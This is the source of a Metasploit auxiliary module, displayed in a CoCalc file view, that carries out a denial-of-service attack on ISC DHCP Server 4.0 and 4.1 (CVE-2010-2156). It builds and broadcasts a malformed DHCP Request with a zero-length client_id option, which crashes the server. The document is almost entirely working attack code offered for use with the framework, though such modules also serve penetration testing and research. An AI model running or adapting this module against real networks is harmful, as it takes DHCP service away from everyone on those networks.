CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Auxiliary::Dos
8
  include Msf::Exploit::Capture
9

10
  def initialize
11
    super(
12
      'Name'          => 'ISC DHCP Zero Length ClientID Denial of Service Module',
13
      'Description'   => %q{
14
          This module performs a Denial of Service Attack against the ISC DHCP server,
15
        versions 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1. It sends out a DHCP Request
16
        message with a 0-length client_id option for an IP address on the appropriate range
17
        for the dhcp server. When ISC DHCP Server tries to hash this value it exits
18
        abnormally.
19
      },
20
      'Author'        =>
21
          [
22
            'sid', # Original POC
23
            'theLightCosine' # msf module
24
          ],
25
      'License'       => MSF_LICENSE,
26
      'References'    =>
27
        [
28
          [ 'CVE', '2010-2156' ],
29
          [ 'OSVDB', '65246'],
30
          [ 'EDB', '14185']
31
        ]
32
    )
33
    register_options(
34
      [
35
        OptAddress.new('RIP', [true, 'A valid IP to request from the server'])
36
      ]
37
    )
38
    deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
39
  end
40

41
  def run
42
    open_pcap
43
    print_status("Creating DHCP Request with 0-length ClientID")
44
    p = PacketFu::UDPPacket.new
45
    p.ip_daddr = "255.255.255.255"
46
    p.udp_sport = 68
47
    p.udp_dport = 67
48

49
    # TODO: Get a DHCP parser into PacketFu
50
    chaddr = "\xaa\xaa\xaa\xaa\xaa\xaa"
51
    dhcp_payload = "\x63\x82\x53\x63\x35\x01\x03\x3d\x00\xff"
52
    p.payload = dhcp_req(chaddr,dhcp_payload)
53
    p.recalc
54
    print_status("Sending malformed DHCP request...")
55
    capture_sendto(p, '255.255.255.255')
56
    close_pcap
57
  end
58

59
  def dhcp_req(chaddr,payload)
60
    req = "\x00" * 236
61
    req[0,3] = "\x01\x01\x06" # Boot request on Eth with hw len of 6
62
    req[12,4] = Rex::Socket.addr_aton(datastore['RIP'])
63
    req[28,6] = chaddr
64
    req + payload
65
  end
66
end
67

68